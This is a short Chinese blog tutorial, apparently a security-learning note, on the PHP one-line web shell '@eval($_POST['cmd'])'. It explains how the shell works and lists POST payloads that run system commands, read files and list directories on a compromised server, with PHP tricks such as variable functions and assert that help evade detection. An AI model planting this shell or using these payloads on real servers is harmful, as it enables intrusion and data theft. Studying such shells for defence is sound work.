一句话木马
原理#
代码 <?php @eval($_POST['cmd']);?>
解析#
# @ 代表了即使报错了,也不显示
# eval()函数把字符串按照 PHP 代码来计算
$string = "beautiful";
$time = "winter";
$str = 'This is a $string $time morning!';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
// 输出
This is a $string $time morning!
This is a beautiful winter morning!
# $_POST 一般用于收集提交表单,此处用于传递变量
# 'cmd' 是我们传递的信息
思路一:隐藏关键字#
思路二:使用回调函数#
使用木马#
# 具体函数使用方法和结果
// 记住 cmd="命令" 的等号中间不能有空格
// 执行系统命令(针对 Linux)
cmd=system("ls /");
# 输出服务器下的根目录
cmd=passthru("ls /");
# 输出服务器下的根目录
cmd=echo exec("ls /");
# 输出服务器下的根目录(返回执行结果的最后一行)
cmd=echo shell_exec("ls /");
# 输出服务器下的根目录
cmd=echo `ls/`;
# 输出服务器下的根目录
// 读文件
cmd=echo file_get_contents("./a.txt");
# 读取根目录下的 a.txt 文件
cmd=var_dump(file("./a.txt"));
# 读取根目录下的 a.txt 文件
cmd=readfile("./a.txt");
# 读取根目录下的 a.txt 文件
// 遍历目录
cmd=var_dump(scandir("/"));
# 读取整个根目录
查杀木马#
不死马#
PHP 相关知识点补充#
# 可变函数
$a = "phpinfo";
$a();
// 相当于执行了 phpinfo();
# 可变变量
$a='assert';
$b='a';
echo $$b;
// 相当于执行了 $a;
# assert 函数
// assert 和 eval 函数作用类似
// 但 assert 函数能被可变函数调用,而 eval 函数不可以被可变函数调用
// PHP7.1 以上已经废弃 assert 函数
推荐文章#
作者: 筱团
出处:https://www.cnblogs.com/CourserLi/p/15302964.html
本站使用「CC BY 4.0」创作共享协议,转载请在文章明显位置注明作者及出处。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了